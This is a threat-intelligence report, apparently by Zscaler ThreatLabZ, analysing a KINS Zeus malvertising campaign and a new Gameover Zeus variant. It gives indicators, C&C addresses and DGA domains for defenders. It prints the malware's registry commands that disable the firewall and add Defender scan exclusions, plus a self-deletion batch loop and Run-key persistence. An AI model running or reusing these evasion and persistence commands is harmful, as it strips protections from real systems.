Malvertising targeting European transit users

Malvertising has been an active and growing attack vector for delivering malicious payloads to unsuspecting users. ThreatLabZ recently uncovered a malvertising campaign targeting European transit users and the end payload appears to be downloading the KINS Zeus variant.

The KINS (Kasper Internet Non-Security) variant of Zeus is a banking Trojan that has been prevalent since 2011. KINS is a crimekit that was developed based off the leaked ZeuS source code to replace the aged Citadel Trojan which was used to harvest credentials from victim PCs.

ThreatLabZ has seen many instances of this threat being downloaded in the wild with very low AV detection.  The malicious dropper payload is downloaded from URLs that matches the following pattern:

[domain]:[nonstandard port]/[var1].php?[var2]=n&[var3]=n&[var4]=n&[var5]=n&[var6]=n&[var7]=n&[var8]=n
n = random [1-4]digit number

 Some examples of this activity are seen below:

• rasaqsense[.]abbington[.]org:9090/full[.]php?refer=2010&reklama=4&star=860&site-map=171&blogs=78&click=2407&honda=2707
• razorssense[.]abbington[.]org:9090/full[.]php?back=1933&reklama=4&edit=2109&site-map=171&mail=366&page=6&virus=986
• brazil[.]telefonabrasil[.]com[.]br:8181/beta[.]php?corp=252&play=1249&popular=4&video=775&rssfeed=171&store=1416&deals=634
• abfronikl[.]mobi:20204/store[.]php?rates=2197&sendmail=4&ports=635&logout=171&other=1679&image=523&comp=2566
• panga[.]campanha[.]ga:8181/hardcore[.]php?best=1704&wink=205&humor=4&cover=2210&support=171&reply=1750&atom=1017
• sega[.]taxivega[.]kz:17340/music[.]php?macos=2433&rate=1041&game=4&nomic=1534&layout=171&humor=2699&usage=2115
• seww[.]istec[.]se:17340/music[.]php?media=432&page=2637&game=4&audit=833&layout=171&about=2332&cover=2361
• anarhism[.]temayang[.]tk:17340/music[.]php?event=2561&game=4&stars=2402&layout=171&warez=2596&intl=1014&story=2510
• clipsalinga[.]org:20204/store[.]php?intm=134&sendmail=4&front=1022&logout=171&tool=2554&radio=116&docs=1851
• clipsalinga[.]org:20204/store[.]php?linux=280&sendmail=4&best=361&logout=171&cert=1236&quote=118&math=2297

This variant of the KINS crimekit is spreading through malvertising attempts targeting European users. All the download attempts seen above have two things in common:

1. Victims were visiting a site related to European transit
2. Victims were redirected to the final destination through an advertising network

Sample infection cycle URLs

The malware masquerades as a PDF document to lure an unsuspecting user into opening the file. Upon execution, it creates a copy of itself in the %Application Data% directory, deletes the original copy of itself and injects into the system explorer.exe process to perform variety of actions. The dropped file on the infected system can be found at one of the following two locations:

• %Application Data%\svchoste.exe [Windows XP]
• %Application Data%\Roaming\[random 4-5 character string]\[random 4-5 character string].exe  [Windows 7]

The bot further makes multiple system registry modifications to evade detection:

• Microsoft security center - disable update notifications, disable antimalware scan:

reg add HKLM\SOFTWARE\Microsoft\Security Center /v UpdatesDisableNotify /t reg_dword /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Security Center /v FirewallOverride /t reg_dword /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Security Center /v FirewallDisableNotify /t reg_dword /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusOverride /t reg_dword /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Security Center /v AntiVirusDisableNotify /t reg_dword /d 1 /f

• Windows firewall settings - Allow exceptions, disable notifications, disable the firewall:

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\DomainProfile /v DisableNotifications /t reg_dword /d 1 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\DomainProfile /v DoNotAllowExceptions /t reg_dword /d 0 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\DomainProfile /v EnableFirewall /t reg_dword /d 0 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\publicprofile /v DisableNotifications /t reg_dword /d 1 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\standardprofile /v DisableNotifications /t reg_dword /d 1 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\publicprofile /v DoNotAllowExceptions /t reg_dword /d 0 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\standardprofile /v DoNotAllowExceptions /t reg_dword /d 0 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\publicprofile /v EnableFirewall /t reg_dword /d 0 /f

reg add HKLM\system\currentcontrolset\Services\SharedAccess\parameters\firewallpolicy\standardprofile /v EnableFirewall /t reg_dword /d 0 /f

• Windows Defender & AntiMalware settings - Exclude malware processes, injected system processes and certain file types from scanning:

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes  " /v svchost.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes  " /v consent.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes  " /v rundll32.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes  " /v spoolsv.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes  " /v explorer.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes  " /v rgjdu.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes  " /v afwqs.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions  " /v *.tmp /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions  " /v *.dll /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions  " /v *.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes  " /v svchost.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes  " /v consent.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes  " /v rundll32.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes  " /v spoolsv.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes  " /v explorer.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes  " /v rgjdu.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Processes  " /v afwqs.exe /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions  " /v *.tmp /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions  " /v *.dll /t  REG_DWORD /d 0  

reg add "HKLM\SOFTWARE\Microsoft\Microsoft Antimalware\Exclusions\Extensions  " /v *.exe /t  REG_DWORD /d 0

The injected code in the system explorer process is responsible for performing Command & Control (C&C) communication. It also opens up a port (TCP 36139) on the victim machine listening for incoming connections.

Listening on TCP port 36139

There are two common network level indicators to identify a compromised node:

• A POST transaction with the following hard-coded User-Agent string

 Mozilla/5.0 (Windows; Windows NT 7.1; en; rv:1.9.6.8) Gecko/20120122 Firefox/9.1.2

• A POST request made to a URI like '/common/link.php'.

POST encrypted information to C&C server

The bot encrypts the system information in the following format and sends it via the above POST request to the C&C server:

v=%d&s=%d&h=%d&un=%s&o=%d&c=%d&ip=%s&sys=%s&uid=%d&w=%d&ftp=

The screenshot below shows the decrypted C&C location as well as a remote configuration file location for the bot:

Decrypted C&C locations

Here are some of the C&C server IP addresses that were contacted by the compromised systems post infection:

• 195.238.181.16
• 190.14.37.150 
• 195.238.181.16
• 185.25.119.84 
• 104.218.48.99 
• 192.3.24.150

Below is the C&C call back activity for the month of January and February, 2015 and the Geo-location of the C&C servers:

C&C server location

Malvertising remains an effective exploit vector for threat actors to compromise victim systems.  The variation in payloads distributed through this tactic range from click-fraud botnet activity to highly effective crimeware, giving complete control of the infected systems to the remote attackers.

A look at the new Gameover Zeus variant

Background

Zeus, also known as Zbot is one of the most notorious and wide-spread information stealing banking Trojans. It was first spotted in early 2007 and since then over the years it has evolved into a very sophisticated malware family with such features as:

• Man-in-The-Browser keystroke logging
• Form grabbing
• Web injects
• Kernel-mode rootkit update
• Custom Peer-to-Peer (P2P) protocol for Command and Control communication
•     Domain name Generation Algorithm (DGA)
• Mobile Zeus, also known as Zeus in the mobile (Zitmo)

In June 2014, the U.S. Justice department launched an international law enforcement operation dubbed 'Operation Tovar'  to take control of the Gameover Zeus P2P Botnet. This operation turned out to be a success with the shutdown of the Botnet activity and related Cryptolocker infection cycle.

New Gameover Zeus variant

We started seeing infection reports involving a new Gameover Zeus variant early last month (July 2014). The major infection vector still remains the same where the Cutwail Botnet is being leveraged by the cyber-criminals to send out spam e-mails with a malicious attachment. The malicious attachment on most occasions masquerades as a financial PDF document in order to lure an unsuspecting user into opening it. This is achieved by a combination of a fake PDF icon and double file extension as common file extensions are hidden by Windows unless disabled by the user. Some sample filenames we have seen includes:

• Invoice.pdf.scr
• E-statement.pdf.scr
• Securedoc.pdf.scr

Once the user opens the attachment, it downloads the latest Gameover Zeus variant from a predetermined location as seen below in the unpacked payload memory:

Decrypted payload showing hardcoded URL

Download of latest Zeus variant

The downloaded Gameover Zeus variant further drops a copy of itself and runs it as:

• %Local Settings%\Temp\Eqxav\epoxs.exe

It also drops and runs a batch file to delete the original executable file from the %TEMP% directory:

"C:\WINDOWS\system32\cmd.exe" /C "C:\DOCUME~1\zuser\LOCALS~1\Temp\MLZ6405.bat"

@echo off
:akkaoz
del /F /Q /A RSHAIL "C:\Documents and Settings\zuser\Local Settings\Temp\mss3.exe" >nul
if exist "C:\Documents and Settings\zuser\Local Settings\Temp\mss3.exe" goto akkaoz

It creates the following registry entry to ensure persistence upon system reboot:

• HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ Epoxs = "%Local Settings%\Temp\Eqxav\epoxs.exe"

The bot further injects code into multiple system processes including Explorer.exe. It creates a remote thread that is responsible for running the Domain name Generation algorithm and connection to the Command & Control (C2) server. Upon successful connection to a C2 server, the bot will download the latest configuration containing list of banking URLs and web-inject plugins. Below is the list of sample domains that were generated by the DGA thread:

• 1vi2us1syijqh1gmhwuxmr1iwt[.]com
• 1i5ch6c1rvz8y7rp9bkbzme3v4[.]net
• cul4hleyh07we1j2cc1ma964m[.]org
• 1l9asc2b3mmf3dpth1d1ct987[.]net
• w7vld0891u1d1lhbvh17b5lfo[.]com
• 1aipcuziz5kqakplu9c5upujb[.]org
• uccm0d1tdx38tonp9vh1jo2fq4[.]biz
• i8gwl8hwjijd1ldh10ovl05iu[.]org
• qxvt8m18q3wbf12992zo16mx3rb[.]com
• 14h98mo70orwoj8gf9j1a6sz4r[.]net
• hv1eifdb3pxw1fp250cnpe34f[.]biz
• 17f2nku9i6zbtzs1u1v1pih3ie[.]net
• 1hn3lbe1qwdo6k1qm3b0q1yklg1r[.]com
• ukoizw1g9vy8c1jxlh7610o2h8z[.]net
• zja38vktoo9i1yc8xk16sq76p[.]biz
• 1ahnharg5apuxe5oeex1qy80ql[.]org
• 1qozjh16vj4xz1rhcr31x7hrtf[.]com

It also enumerates through all the running processes and steals information from them if any of the following strings are present:

Decrypted list of finance & banking related strings

Feature evolution or de-evolution

The previous Gameover Zeus variant used a P2P command and control protocol in addition to a failover domain generation algorithm (DGA), to establish connection with a C2 server. However, this newer variant does not feature a P2P command and control protocol, instead it is falling back to the old DGA with fast flux tactics to hide the C2 servers. This in our opinion is a step backward as P2P was a more resilient feature.

Another step backward that we observed is the absence of the kernel-mode rootkit that was pushed out as an update early this year by the Gameover Zeus operators in the previous version. The rootkit made removal of the malware extremely difficult and disabled multiple security features on the infected system.

DGA active domains and Command & Control server trends

The bot's DGA outputs 1,000 new unique domains each day but the Gameover Zeus operators are keeping the domains that they intend to use confidential until a few hours before the actual day when they get registered. Below is the mapping of DGA domains that were registered by the the Botnet operators and were actively resolving to C2 servers in past seven days:

Command and Control server IP information and Geo-distribution map:

Active C2 Server location and ASN information

Below is the trend of C2 callbacks we have intercepted in past seven days:

One of the most active C2 server IP addresses also appeared to be the Control server for a Zeus in the mobile (Zitmo) variant in the past as seen below:

This further re-affirms the fact that the same gang is involved.

Conclusion

This new Gameover Zeus variant certainly appears to be the beginning of a comeback attempt for this notorious Banking Trojan Botnet family, but in many ways it has been a step backward. The number of infections are still very low and it has a long way to go to reach the infection rates observed prior to the Government takedown. Zscaler ThreatLabZ will continue to monitor the activities of this Botnet family in the coming months for active C2 servers as well as any feature updates and will ensure protection for customers.

- Deepen Desai